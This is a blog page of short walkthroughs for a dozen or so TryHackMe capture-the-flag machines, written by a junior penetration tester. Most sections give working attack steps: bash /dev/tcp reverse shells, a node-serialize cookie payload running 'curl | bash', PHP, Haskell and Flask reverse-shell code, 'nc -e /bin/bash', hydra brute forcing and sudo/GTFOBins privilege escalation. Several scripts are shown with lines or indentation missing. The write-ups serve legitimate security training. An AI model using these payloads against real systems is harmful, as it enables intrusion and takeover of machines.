Junior penetration tester, cyber security student, CTF enthusiast. The writeups on this page aren't the most beautiful ones nor the most explicative, but they are supposedly short and to the point. If you need a nudge in the right direction or you want a second look on a machine you completed, these are quick reads for your fast-paced, (hopefully) ethical, hacker life. Enjoy

Lunizz CTF

Lunizz CTF - THM

Run a scan to see what services are running. Once it's done, look at it: an exposed DB surely looks interesting. Default credentials don't seem to work, and we have no known exploit to run against the SSH server, so let's just focus on the HTTP server for now. Running a directory buster reveals some interesting files and directories, mainly:

  1. interesting.txt, where we can find credentials for the DB;
  2. whatever, which doesn't seem to be accessible for some DB error right now.

Let's log in the DB server using the credentials. There are two databases, and the second one has an interesting name. It only contains one table, which contains a single value that determines whether or not we can access the "whatever" page. Modify it to 1 (aka, true) and access the page. Now you can run commands as user "www-data", so use this awesome feature to get a reverse shell back to your machine.

Once you have a shell, you will easily notice there isn't much you can do as www-data. There is a single, interesting directory in the root folder, /proct, which contains a python executable suggesting that the password for user "adam" is in rockyou.txt, but that it has also been previously encoded with ascii and base64, and also contains the hash of the password. To find out what the password is, let's build a small python script to turn rockyou in a new wordlist which is ASCII and b64 encoded. My script was the following one:

import base64

with open('/usr/share/wordlists/rockyou.txt', encoding='latin-1') as fp:
line = fp.readline()
while line:
bpass = base64.b64encode(line.strip().encode('ascii','ignore'))
line = fp.readline()

Run it as:

python3 exploit.py > new_wordlist

And then use this wordlist with john to crack the hash. Remember, the result given by john is the base64 encoding of the answer, so be sure to decode it before using it to change user to "adam".

Once you have a shell as adam, enumerate your home folder thoroughly, there is a Google Maps link that helps you find out what mason's password is. TIP: it's not the place, it's what you can see in the sky. Besides being called aurora borealis it has another couple of names, so be sure to try those as well ;)

Change user to mason with his password and grab your first flag. 

Notice there is a service running on port 8080 which seems to allow you to run some predefined commands if you give it some password and the command itself as part of a POST body. This is a bit of a leap of faith (AC fans, this is for you), but try giving it mason's password and the command "passwd", by running:

curl -d "password=<not aurora borealis>&cmdtype=passwd" -X POST localhost:8080

It says it changed the password. The knowledge that you are playing a CTF whose primary purpose is for you to gain root access suggests this means it changed the root password, and what else could it change it to if not mason's password itself? "su root" and get the last flag, you are done and ready to move on with your hacking journey!

VulnNet: Node

VulnNet: Node - THM

There is a single open port, so you should probably start there. Watch closely, there is something odd with the requests. Why does the app use a cookie for a session that doesn't require any authorization whatsoever? Is it easy to guess the encoding and what the cookie is holding?

Turns out, the cookie is base64 encoded and contains some JSON data. First attempt, I tried to turn from guest to admin, which is absolutely pointless. So I turned to Google, and asked him what could I possibly do with a cookie managed by a JS backend. Google, in its infinite wisdom, led me to the following paper. Use the first part of the explanation to obtain a reverse shell. The way I did it is:

  • Created a file containing code to launch a reverse shell in bash: bash -i >& /dev/tcp/IP/PORT 0>&1
  • Started a listener
  • Created the following cookie:
{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl | bash ', function(error, stdout, stderr) { console.log(stdout) });\n }()","isGuest":true,"encoding": "utf-8"}
  • Encoded it in base64
  • Intercepted a request and replaced the real cookie with this crafted one

Once obtained the reverse shell, you can notice pretty quickly there is no flag to grab. That is, the user you must seek to obtain is the only other non-root on the machine. Checking your sudo privileges you can see you can run npm as this user you are trying to obtain --> GTFOBins --> shell as the other user!

Once again, checking sudo privileges you can run some commands as root. The first starts a job, whose file (the name of the file is inside the job you can launch as root) is writable. So instead of letting it run df, let's have it run another reverse shell like the one above, and there you have root access ;)

Smag Grotto

Smag Grotto - THM

After a basic scan (nothing too fancy needed here) you should see two open ports. Let's set aside SSH for now and check out the website. There seems to be very little, but a quick directory bust reveals a useful file you can download and analyze. These file gives you three powerful pieces of information:

  1. Credentials
  2. a subdomain where to use said credentials
  3. the path where to login with those

Modify your /etc/hosts in order to reach the subdomain and log in the platform. This gives you the possibility to execute commands. My choice was the following:

bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"

Once you obtain your reverse shell in your preferred way, cronjobs are the way to go. There is a cronjob modifying the key allowed to log in as jake using SSH. The file hosting this key is world-writable, be sure to insert your public key in there to gain access as jake.

Grab your flag in jake's home and go for the usual check of your sudo privileges. You should then be on GTFOBins in less than two seconds. Using the following command will grant you a root shell, so you can retrieve the last flag and be done with the Smag Grotto:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh


magician - THM

After the initial scan, there appear to be two open ports on the target. One of them should suggest to try the oldie-but-goodie anonymous session, which can give you a pretty powerful hint. Follow it and then watch what you have to face on the other port. This service suffers from the ImageMagick vulnerability known as ImageTragick, which leads to RCE. In order to exploit it you can:

  1. Create your own payload (but why reinvent the wheel, right?);
  2. PayloadsAllTheThings has an entire section dedicated to this vulnerability
  3. Metasploit offers a module to create the payload you need

After successfully exploiting it (be sure you have the machine registered as "magician" in your /etc/hosts or it won't work), grab the user flag.

The escalation requires to look at open ports (as the hint in the home directory suggested). There is a listening service on 6666, but in order to access it you will need to show off your forwarding skills. Mine were limited to the following command:

./socat tcp-l:33060,fork,reuseaddr tcp: &

With this you can simply navigate to the target on the newly open port 33060 and it will redirect you to the listening service on 6666. There you will find a form asking for a file name. You can query the whole file system with this service, but it will "troll" you by returning the requested information in different encodings (in my experience, either base64 or ROT13, but others may be employed as well). You can choose to go for the flag or try to crack the root password in /etc/shadow. Whatever your choice, your job here is done ;)


Library - THM

Two ports open, and one is clearly the better choice to start snooping around. Not too much to look at, you can probably detect there are some useful informations displayed on the page (if we consider Lorem Ipsum useless, what is the only customized content on the page?). Use this information and the generous hint on robots.txt to start the most boring attack there is (sit and wait, go grab something to eat or drink or whatever suits you).

Once you are in, the flag is there. And that's not the only thing there. Check your permissions, that file right there can run as the most privileged user in the world (UNIX world, but still). Now it's time to refresh your class on Linux permissions: you cannot write the file, that's true. But you OWN the directory. You can destroy it and make a new one, as evil as you want. Mine, not particularly exotic, was as follows:

import os;
os.system('/bin/bash -p');

Happy root, and merry hacking!



Only one port open, so we better scan it thoroughly. A simple directory bust will reveal a directory that requires HTTP basic authentication, besides revealing the obvious service running on it. Default credentials are in place, so gaining access isn't all that difficult. In the file system shown there is a username and its hash, which are just the credentials you used to log (not sure, didn't crack the hash). With credentials for a webdav service, turn to the cadaver client. Search on Google, there is a quick guide on how to upload a file to the server using cadaver. What about uploading some php?

Once you have your shell, go get user.txt. Do the usual two-three manual checks, there is no need for an automatic tool like linPEAS here. You can use a very handy binary as any other user. Either use it to quickly grab the flag and end the challenge or take a longer way and first grab the couple of hashes available on the machine in order to crack them and obtain another user's shell. Either way, your job here is done.


Thompson - THM

This is an easy machine, fairly straightforward. Scan thoroughly as usual. Navigating to the port running an HTTP web server reveals an Apache version.

Look for default credentials, try the first couple of them, should not be too hard.

Once you have access to the manager application, there is both a manual way to exploit it (you can upload WAR files, search on Google for a step by step procedure to exploit this) and a metasploit module ready for you to use. This gives you shell access to the machine. Go find the user.txt flag, and once you have found it don't look too far. There is an interesting executable close by. Look for cron jobs (the ones listed in /etc/crontab) and modify the script you found accordingly to your needs, you should be root in no time.


HA Joker CTF - THM

Run your favourite scan, there should be three ports open on this machine. At first, port 80 is the only viable option (the others are SSH and a web server on 8080 that requires a password). If you are a Batman fan, take the time to check out all the quotes, including the ones in the source code. They are pointless CTF-wise, but they are awesome. Find the secret directory using a buster (add common extensions so you are sure not to miss it, as I did). That file gives you a username (two actually, but it's an easy guess). No sight of a password, so brute forcing must be the way in. Here is a possible command to brute force HTTP basic authentication:

hydra -l <username> -P /usr/share/wordlists/rockyou.txt -s 8080 -f <ip> http-get /

Once you have the password, login. The CMS is fairly empty, you should have no trouble running another bust to find the directories that interest you (one gives you a zip file, one would allow you to access the management dashboard if you had proper credentials).

Download the zip, it's password protected. You must use zip2john or something similar to crack it.

Restore the database from the file: if it's your first time, the steps are to first create a new database, and then pull the file into it to be able to use it. As always, Google gives you more than enough HOW-TOs to survive on your own. Once you are done, navigate to the "users" table and extract the hash, then crack it.

Once you have access to the administrator dashboard,  it's almost the same as the usual Wordpress trick. Navigate to a template, select one and write a reverse shell code onto it. Then, on the website, trigger its activation by navigating to the page you modified.

You should get a reverse shell as a user that is in the lxd group. If it has already happened to you, you might remember that this is going to mean instant root with a few basic steps. If this is the first time you see something like this, check out https://www.hackingarticles.in/lxd-privilege-escalation/ or search "LXD local privesc" on Google.


Jack - THM

It's a Wordpress blog, so usual user enumeration vulnerability due to the error message. Wp-scan identifies three users (jack, danny & wendy). Look around a while, but it seems clear very quickly that you should try your hand at brute forcing (not a fan, don't like this in challenges). I don't know if there is a different intended way to gain access, but this worked (although it took some time). I would suggest a brute force against Xmlrpc, and don't use a huge wordlist (rockyou), something FASTter should do the trick.

Once you have access to Wordpress, you should realize you are no admin. Thankfully, this trick here might just get you admin access:

If you have a non admin account, try to intercept the update profile request and add "&ure_other_roles=administrator" in the parameters. This might give you administrative access.

With administrative access, you can add a line to one of the plugins and activate it to obtain a reverse shell. My line was:

<?php system('bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"');?>

Once inside, grab the flag and read the note. Search for what it tells you and you should find an SSH key that gives you access as jack. From there, check for hidden processes. Once you find it, you don't have many options to exploit. The only possibility would be to override the imported module... and that's the correct way to go. It is writable, so go and edit it to your liking to get a reverse shell whenever the cron job runs. There you have your root shell, and, of course, your flag.

Technical note: when you append to the module, what happens is that whenever the cron job runs it loads the whole module in its script (due to the "import <module_name>" line). Thanks to this, besides loading functions definitions and everything else, it will also execute your line of code as if it was already part of the job itself. The line I appended was:

system("bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'")

Tokyo Ghoul

Tokyo Ghoul - THM

As always, start with scanning and looking at what is up against you. A mindful nmap scan should tell you that FTP allows for anonymous login (if you like to run different scans, remember to always check for this manually, you never know). Inside the directories there is a whole bunch of files to grab, be sure to catch them all (wink).

The binary can be analyzed with radare2. Analyze the check password function. Before calling strcmp it loads the parameters in rdi and rsi. In RDI there is what you insert as your password, in RSI the correct one. The password gives you the key to extract the message from the picture you found in FTP, it's steganography and steghide is a good option.

The extracted message is morse code, that translates to a hexadecimal code, which then you turn into base64 that FINALLY gives you the directory you are looking for.

There the hint is basically telling you to run a directory buster, which leads you to the page where you can make a decision. Take a good look at the url, seems like LFI. You try the usual trick and it doesn't work, but don't stop there. URL encode the whole thing and go check the usual file. With that (and some cracking) you have enough to get yourself a comfy shell with SSH.

Once you're in, grab your flag (rewards are an important part of the whole learning experience) and start to look around. You SHOULDN'T look too hard, it's right there. You can execute it as sudo, and it asks for some user input. Google is your friend when it comes to PYTHON JAILS and how to escape them. You should be able to run your usual command to get a shell, just a little revisited with underscores and some string manipulation, turning letters from upper to lowercase to avoid detection.


HaskHell - THM

This room nudges you fairly clearly in the right directions, thus the short writeup, straight to the point as always. When you start off, you have two open ports, SSH and HTTP (although on an uncommon port). The professor's website clearly states you have the opportunity to upload some haskell. Find the directory where you can upload with some busting. If you, like me at the time of this writing, are no Haskell programmer, Google is your friend. Here I paste the code I used as upload material to obtain a reverse shell:

module Main where
import System.Process

main = callCommand "bash -i >& /dev/tcp/<ip>/<port> 0>&1"

Once you get the reverse shell, grab your first flag (and stabilize the shell, as always). Look around a little, there is a clear opportunity to obtain a shell as user prof by using his private ssh key to log into the system. Once you are prof, check your sudo permissions: you can run any Flask app as root. The path should be clear, let's build a Flask app that gets us a shell as root. My idea was fairly simple, I paste it here:

from flask import Flask
import os
app = Flask(__name__)

def index():
    os.system("bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'")

Once you launch this app (run sudo /usr/bin/flask run AFTER having exported the FLASK_APP environment variable with the name of your python app), navigate to the newly launched app on localhost:5000 to have this code executed. If you where listening on the port you put in the app code, you should have your root shell by now. Merry hacking.

Reverse Engineering

Reverse Engineering - THM

For this room I used radare2. I know people are very opinionated about their debuggers and language, feel free to complain.

Seems I have been unable to post pictures, so just know that while you read you should be looking at your terminal after you issued the command

pdf @ main

in the radare console.

Task 1

The main function, after symbols and entry points analysis, is more than you need to solve this task.

I won't tell you where the password is, you should simply figure it out as it is already displayed on the console.

Task 2

Let's read this assembly code and figure out what it's doing. We need to understand when does the code perform the fundamental action of comparing our password with the correct one. You can see how the scanf function copies the read value in eax, which is then compared to 0x137c. Don't let this fool you, this is no address, but an actual value. Figure out what value it is (Google is your friend) and you have the password you were looking for.

Task 3

Again, your capability of spotting the extremely helpful comments of radare will get you through this even if you are no RE expert. Remember you need three characters, not a full password. What this code actually does is load the three bytes that are the characters we are searching into var_23h (two characters) and into var_21h (the third one). The last four bytes of var_28h (which means this three characters and a pointless additional byte, as we couldn't possibly move three bytes) are then copied into eax and converted (cdqe). These are then compared to see if they match (thus if the password, more precisely three bytes of it, is correct).

Tony the tiger

Tony the Tiger - THM

nmap -sT -p-

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

The first flag, Tony's

The blog on port 80 holds the first flag. Take a look at the different posts there. If you find yourself poking around too much, stop looking at what meets the eye and go for stego. In the first post, you should download the picture and run strings against it. You should find your answer towards the bottom of the output.

The web server on 8080 shows there is an administration console. You should go there. A quick search on Google should tell you the default username and password for this kind of application (default credentials <application's name>). Once you have access to the console, poke around a little.

The second flag, JBoss

The exploit given with the room is easy to use. Run it with the -h flag to show the options. To obtain a shell, start a listener (nc -lvp <port>) and use it to run the command

nc <your ip> <port> -e /bin/bash

Stabilize the shell using 

python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm

Then background this shell (Ctrl+x) and run (in your own shell)

stty raw -echo; fg

Poking around a little, I found that we can just easily walk into Jboss' home, there we find his flag. 

The path to root is easy to FIND

Besides the flag, a useful note shows us the password for this account, so we can change our current user into Jboss. After this, it's fairly straightforward. Jboss can run find as any other user on the system (sudo -l to see for yourself). Go check GTFobins to find a straight path to root. The flag is in /root, but with a twist: it's base64 encoded. Use a decoder (either command line or online tools) and paste the hash on crackstation (alternatively, save it to a file and run john against it).

Ninja Skills

Ninja Skills-THM 

The room asks you to write some basic scripts to find the solutions to its answers. The scripts shown here won't be the most visually beautiful ones, but they will get the job done. All the scripts require a file with the file names provided in the room, one per line. We'll refer to this file as "filelist". Let's move on to question one:

Which file is owned by the "best-group" group?

while read line

        echo $line;
        VAR1=$(find / -name "$line" -group "best-group"  2>/dev/null);
        echo $VAR1; 

This script, and all the following ones, should be launched as ./script1.sh < filelist (remember to chmod +x first)

This is an easy one, it asks find to search for each file in the filesystem and checks if it also matches the group requirement. 

Which of these files contains an IP address?

while read line
        echo $line;
        VAR1=$(find / -name "$line" -type f 2>/dev/null)
        grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" $VAR1 ; 

This sets VAR1 as the full path of each of the files, then reads the content of each one and checks for the presence of an IP address. The regex could be described as:"There should be one, two or three digits and a dot for THREE TIMES, and then only one, two or three digits. This doesn't actually check for the validity of the address (any of the triplets could also be 999 and this would still match, but read this post's header if you feel like complaining).

Which file has the SHA1 hash of 9d54da7584015647ba052173b84d45e8007eba94?

while read line
        echo $line;
        export VAR1=$(find / -name "$line" -type f 2>/dev/null);
        VAR2=$(sha1sum $VAR1 | cut -d " " -f1);
        echo $VAR2;
        if [ "$VAR2"  = '9d54da7584015647ba052173b84d45e8007eba94' ] 
                echo "The file is $VAR1";

This one is similar to the other ones, and its flow should also be fairly clear. Get the full path to the file (as before), compute its hash and save it in a variable, then check if it matches the requested one (hard coded in the script, I know, ehw...).

Which file contains 230 lines?

This question shows a flaw in the machine. My find couldn't possibly show the location of the bny0 file, which is actually the one with 230 lines. Here I post the script I would have used to solve the challenge, although it isn't useful to find the answer in this case.

while read line
        echo $line;
        export VAR1=$(find / -name "$line" -type f 2>/dev/null);
        VAR2=$(wc -l $VAR1 | cut -d " " -f1);
        echo "The lines are $VAR2";
        if [ $VAR2  = '230' ] 
                echo "The file is $VAR1";

Which file's owner has an ID of 502?

The id 502 matches user "newer-user". My script was the following one, but I seem to have some issues with this machine as no file actually seems to be owned by anyone else than id 501, so I basically had to brute force my answer. I post the code here for completeness, but I give no guarantee that it is actually perfect for what it's meant to do.

while read line
        echo $line;
        export VAR1=$(find / -name "$line" -type f 2>/dev/null);
        VAR2=$(ls -al $VAR1 | cut -d " " -f3 | id | cut -d " " -f1);
        echo "The uid of the owner is $VAR2";
        if [ "$VAR2" =  "uid=502(newer-user)" ] 
                echo "The file is $VAR1";

Which file is executable by everyone?

while read line
        echo $line;
        VAR1=$(find / -name "$line" -type f -perm -o=x 2>/dev/null);
        echo "This one: $VAR1";

This checks if the execution permission is set in the "other" group, using the find command. You can see which one is the correct one because it will be the only time VAR1 has a value different than blank.